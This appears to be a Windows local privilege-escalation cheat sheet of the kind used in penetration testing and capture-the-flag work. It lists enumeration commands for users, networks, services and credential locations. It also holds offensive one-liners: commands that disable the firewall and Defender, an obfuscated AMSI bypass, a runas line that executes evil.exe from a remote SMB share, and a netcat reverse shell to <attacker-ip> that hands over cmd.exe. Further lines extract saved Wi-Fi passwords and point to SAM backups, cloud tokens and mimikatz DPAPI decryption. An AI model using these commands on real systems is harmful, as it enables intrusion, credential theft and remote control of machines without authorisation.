Windows Privilege Escalation


Windows Local Privilege Escalation

==System Info==
#Windows Version and Configuration
::OS Version::
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

::Extract patches and updates::
wmic qfe

::Architecture::
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%

::List all env variables::
set
Get-ChildItem Env: | ft Key,Value

::List all drives::
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
==Users & Groups Enumeration==
::Get current username::
echo %USERNAME% || whoami
$env:username

::List user privilege::
whoami /priv
whoami /groups

::List all users::
net user
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name

::List logon requirements; useable for bruteforcing::
net accounts

::Get details about a user (i.e. administrator, admin, current user)::
net user administrator
net user admin
net user %USERNAME%
List all local groups

net localgroup
Get-LocalGroup | ft Name

::Get details about a group (i.e. administrators)::
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource

==Network Enumeration==
::List all network interfaces, IP, and DNS.::
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

::Hosts file::
type C:\Windows\System32\drivers\etc\hosts

::List current routing table::
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

::List the ARP table::
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

::List all current connections::
netstat -ano

::List firewall state and current configuration::
netsh advfirewall firewall dump

or 

netsh firewall show state
netsh firewall show config

::List firewall's blocked ports::
$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules |  where {$_.action -eq "0"} | select name,applicationname,localports

::Disable firewall & Defender::
netsh firewall set opmode disable
netsh advfirewall set allprofiles state off

::List all network shares::
net share

::SNMP Configuration::
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

==Windows Defender==
::Check the status of Defender::
PS C:\> Get-MpComputerStatus

::Disable Real Time Monitoring
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
PS C:\> Set-MpPreference -DisableIOAVProtection $true

sc config WinDefend start= disabled
sc stop WinDefend

==AppLocker Enumeration==
::List of AppLocker rules::
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections

C:\> reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\

==Powershell==
::Default PowerShell locations in a Windows system.::
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell

::Example of AMSI Bypass.::
PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

::Powershell history::
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\TheShahzada\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

::Password in Alternate Data Stream::
PS > Get-Item -path flag.txt -Stream *
PS > Get-Content -path flag.txt -Stream Flag

==Processes Enumeration and Tasks==
::What processes are running?::

tasklist /v
net start
sc query
Get-Service
Get-Process
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

::Which processes are running as "system"?::
tasklist /v /fi "username eq system"

::Do you have powershell magic?::
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion

::List installed programs::
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

::List services::
net start
wmic service list brief
tasklist /SVC

::Scheduled tasks::

schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

::Startup tasks::

#wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"


==Windows Credentials==
::Winlogon Credentials::
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword


/* Use the cmdkey to list the stored credentials on the machine. */
cmdkey /list
Currently stored credentials:
 Target: Domain:interactive=WORKGROUP\Administrator
 Type: Domain Password
 User: WORKGROUP\Administrator

/* Then you can use runas with the /savecred options in order to use the saved credentials. The following example is calling a remote binary via an SMB share */
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

/* Using runas with a provided set of credential. */
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

::DPAPI::
/* In theory, the Data Protection API can enable symmetric encryption of any kind of data; in practice, its primary use in the Windows operating system is to perform symmetric encryption of asymmetric private keys, using a user or system secret as a significant contribution of entropy.

The DPAPI key is stored in the same file as the master key that protects the users private keys. It usually is 64 bytes of random data. (Notice that this directory is protected so you cannot list it usingdir from the cmd, but you can list it from PS). */

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

/* You can use mimikatz module dpapi::masterkey with the appropriate arguments (/pvk or /rpc) to decrypt it.
The credentials files protected by the master password are usually located in: */
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

::Wifi::
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on

::Saved RDP Connections::
HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
HKCU\Software\Microsoft\Terminal Server Client\Servers\

::Recently Run Commands::
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

::Remote Desktop Credential Manager::
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
/* Use the Mimikatz dpapi::rdg module with appropriate /masterkey to decrypt any .rdg files
You can extract many DPAPI masterkeys from memory with the Mimikatz sekurlsa::dpapi module */

:***:Files and Registry (Credentials):***:

::Putty Creds::
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

::Putty SSH Host Keys::
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

::SSH keys in registry::
reg query HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys

/* If ssh-agent service is not running and you want it to automatically start on boot run: */
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

::Cloud Credentials::
##From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

::SAM & SYSTEM backups::
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

::Unattended files::
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

::IIS Web Config::
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

/* Example of web.config with credentials: */
<authentication mode="Forms"> 
    <forms name="login" loginUrl="/admin">
        <credentials passwordFormat = "Clear">
            <user name="Administrator" password="SuperAdminPassword" />
        </credentials>
    </forms>
</authentication>


==Write Permissions==

/* Check if you can modify some config file to read some special file or if you can modify some binary that is going to be executed by an Administrator account (schedtasks).
A way to find weak folder/files permissions in the system is doing: */
accesschk.exe /accepteula 
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*

icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}} 

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}


Note: Will be continue..../

References:

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